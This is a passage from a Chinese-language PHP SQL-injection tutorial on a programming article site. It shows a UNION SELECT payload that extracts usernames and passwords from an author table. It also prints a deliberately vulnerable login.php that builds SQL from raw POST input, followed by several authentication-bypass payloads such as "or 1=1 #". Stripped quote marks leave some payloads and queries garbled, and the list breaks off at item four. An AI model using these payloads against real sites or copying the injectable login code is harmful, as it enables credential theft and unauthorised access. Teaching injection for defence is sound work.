欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  php教程

php注入2

程序员文章站 2022-05-24 11:15:31
...
我们构建注入语句吧
在输入框输入
a% and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from
alphaauthor#放到sql语句中成了
select * from alphadb where title like %a% and 1=2 union select
1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %
结果如图17哦
怎么样,出来了吧,哈哈,一切尽在掌握之中。
C:下面我们从注入地点上在来看一下各种注入攻击方式
1) 首先来看看后台登陆哦
代码先
//login.php
.......
$query="select * from alphaauthor where UserName= "
.$HTTP_POST_VARS["UserName"]." and
Password= ". $HTTP_POST_VARS["Password"]." ";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
echo "后台登陆成功";
}
esle
{
echo "重新登陆";
exit;

.........
?>
Username和password没有经过任何处理直接放到sql中执行了。
看看我们怎么绕过呢?
最经典的还是那个:
在用户名和密码框里都输入
'or =
带入sql语句中成了
select * from alphaauthor where UserName= or = and Password= or =
这样带入得到的$data肯定为真,也就是我们成功登陆了。
还有其他的绕过方法,原理是一样的,就是想办法让$data返回是真就可以了。
我们可以用下面的这些中方法哦
1.
用户名和密码都输入 or a = a
Sql成了
select * from alphaauthor where UserName= or a = a and Password=
or a = a
2.
用户名和密码都输入 or 1=1 and ' =
Sql成了
select * from alphaauthor where UserName= or 1=1 and ' =
and Password= or 1=1 and ' =
用户名和密码都输入 or 2>1 and ' =
Sql成了
select * from alphaauthor where UserName= or 2>1 and ' =
and Password= or 2>1 and ' =
3.
用户名输入 or 1=1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName= or 1=1 # and
Password= anything
后面部分被注释掉了,当然返回还是真哦。
4.